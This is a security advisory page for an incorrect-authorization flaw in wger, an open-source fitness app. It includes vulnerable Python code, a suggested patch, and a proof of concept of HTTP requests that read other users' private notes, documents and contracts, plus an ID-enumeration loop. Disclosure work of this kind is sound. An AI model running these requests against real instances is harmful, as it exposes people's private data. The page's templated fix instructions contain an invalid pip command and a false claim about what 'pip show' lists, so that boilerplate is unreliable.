CVE-2026-43976: wger Cross-tenant Admin Notes/contracts Leak Vulnerability

HIGH
Advisory Identifier: GHSA-c72h-82w6-rqfp
CVSS 7.1
CWE-863
Published
Advisory Summary

CVE-2026-43976 is a HIGH (CVSS 7.1) cross-tenant admin notes/contracts leak vulnerability (CWE-863: Incorrect Authorization) affecting wger libraries in the PyPI ecosystem. The issue involves cross-tenant admin notes/contracts leak via gym=none bypass (5 views). Remediation is available in the latest vendor maintenance releases.

CVE-2026-43976 at a Glance

CVE Identifier CVE-2026-43976
GHSA Identifier GHSA-c72h-82w6-rqfp
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-863: Incorrect Authorization
Affected Product wger
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-43976

To remediate this vulnerability, upgrade all affected wger dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wger fixed: Latest secure release
pip install wger>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show wger

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-43976, inspect your installed packages using pip:

pip show wger

Analyze the terminal output to locate any version of wger in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show wger command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In wger, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Five gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed. ### Details **Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py` The same flawed comparison pattern appears across at least five views: ```python # VULNERABLE - applied in admin_notes_list, documents_list, contracts_list, # user_config, and gym_permissions_user_edit if request.user.userprofile.gym != user.userprofile.gym: return HttpResponseForbidden() # After the guard (admin notes example): notes = AdminUserNote.objects.filter(member=member) # only filtered by member_id ``` When both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body. **Affected endpoints**: - `GET /en/gym/notes/list/user/<member_pk>` -> admin notes list view - `GET /en/gym/documents/list/user/<member_pk>` -> documents list view - `GET /en/gym/contract/list/<member_pk>` -> contracts list view - `GET /en/gym/user/<member_pk>/config` -> user config view - `GET /en/gym/user/<member_pk>/permissions` -> permission edit view **Suggested patch**: ```diff --- a/wger/gym/views/user.py +++ b/wger/gym/views/user.py - if request.user.userprofile.gym != user.userprofile.gym: - return HttpResponseForbidden() + trainer_gym_id = request.user.userprofile.gym_id + member_gym_id = user.userprofile.gym_id + + if trainer_gym_id is None or trainer_gym_id != member_gym_id: + return HttpResponseForbidden() # Also tighten the queryset with a gym-scoped secondary filter: - notes = AdminUserNote.objects.filter(member=member) + notes = AdminUserNote.objects.filter( + member=member, + member__userprofile__gym_id=request.user.userprofile.gym_id, + ) ``` Extract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift. ### PoC Tested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded). **Step 1** - Authenticate as trainer with required perms and gym=None: ``` POST /en/user/login HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED] -> 302 Found; Set-Cookie: sessionid=[trainer1_session] ``` **Step 2** - Read victim's private admin notes: ``` GET /en/gym/notes/list/user/2 HTTP/1.1 Host: target Cookie: sessionid=[trainer1_session] -> 200 OK body contains all private admin notes for user 2: "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K" "PHASE4_SECRET_SALARY_100K" ``` **Step 3** - Read victim's documents and contracts (same pattern): ``` GET /en/gym/documents/list/user/2 GET /en/gym/contract/list/2 -> 200 OK for each; all records disclosed ``` **Step 4** (optional) - Mass enumeration across all gym=None users: ``` Iterate user PKs 1..N: GET /en/gym/notes/list/user/{uid} -> 200 = gym=None victim (notes leaked) -> 403 = gym-assigned user (check works correctly when gym values differ) ``` **RBAC Disproof Protocol**: - Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature) - Scenario B (trainer1, gym=None -> alice gym=None) -> **HTTP 200 with PII in body** (expected HTTP 403) - Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific) Reproducibility: 2/2 runs after clean-baseline database reset. ### Impact An authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can: 1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records). 2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms). 3. Read all gym contracts (financial terms, subscription details). 4. Read user configuration details. 5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable). **Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected. **Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable). This is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views.

CVE-2026-43976 Affected wger Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wger
PyPI
≤ 2.1

References

Frequently Asked Questions

What is CVE-2026-43976?
CVE-2026-43976 is a security vulnerability in wger involving cross-tenant admin notes/contracts leak via gym=None bypass (5 views) under CWE-863: Incorrect Authorization.
Which wger versions are affected?
Affected versions include releases prior to current release patches across affected packages: wger.
What version fixes CVE-2026-43976?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wger affected?
Yes, wger is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-43976?
CVE-2026-43976 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-43976?
CVE-2026-43976 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check PyPI dependencies for CVE-2026-43976?
Run the dependency tree command: 'pip show wger'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c72h-82w6-rqfp",
  "modified" : "2026-10-07T13:33:14Z",
  "published" : "2026-10-07T13:33:14Z",
  "aliases" : [ "CVE-2026-43976" ],
  "summary" : "wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)",
  "details" : "### Summary\n\nFive gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.\n\n### Details\n\n**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`\n\nThe same flawed comparison pattern appears across at least five views:\n\n```python\n# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,\n#              user_config, and gym_permissions_user_edit\nif request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n\n# After the guard (admin notes example):\nnotes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/notes/list/user/<member_pk>` -> admin notes list view\n- `GET /en/gym/documents/list/user/<member_pk>` -> documents list view\n- `GET /en/gym/contract/list/<member_pk>` -> contracts list view\n- `GET /en/gym/user/<member_pk>/config` -> user config view\n- `GET /en/gym/user/<member_pk>/permissions` -> permission edit view\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n\n# Also tighten the queryset with a gym-scoped secondary filter:\n-    notes = AdminUserNote.objects.filter(member=member)\n+    notes = AdminUserNote.objects.filter(\n+        member=member,\n+        member__userprofile__gym_id=request.user.userprofile.gym_id,\n+    )\n```\n\nExtract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded).\n\n**Step 1** - Authenticate as trainer with required perms and gym=None:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n\n-> 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Read victim's private admin notes:\n\n```\nGET /en/gym/notes/list/user/2 HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-> 200 OK\nbody contains all private admin notes for user 2:\n  \"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K\"\n  \"PHASE4_SECRET_SALARY_100K\"\n```\n\n**Step 3** - Read victim's documents and contracts (same pattern):\n\n```\nGET /en/gym/documents/list/user/2\nGET /en/gym/contract/list/2\n\n-> 200 OK for each; all records disclosed\n```\n\n**Step 4** (optional) - Mass enumeration across all gym=None users:\n\n```\nIterate user PKs 1..N:\nGET /en/gym/notes/list/user/{uid}\n-> 200 = gym=None victim (notes leaked)\n-> 403 = gym-assigned user (check works correctly when gym values differ)\n```\n\n**RBAC Disproof Protocol**:\n- Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)\n- Scenario B (trainer1, gym=None -> alice gym=None) -> **HTTP 200 with PII in body** (expected HTTP 403)\n- Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can:\n\n1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records).\n2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).\n3. Read all gym contracts (financial terms, subscription details).\n4. Read user configuration details.\n5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).\n\nThis is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "wger"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/security/advisories/GHSA-c72h-82w6-rqfp"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wger-project/wger"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/releases/tag/2.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T13:33:14Z",
    "nvd_published_at" : null
  }
}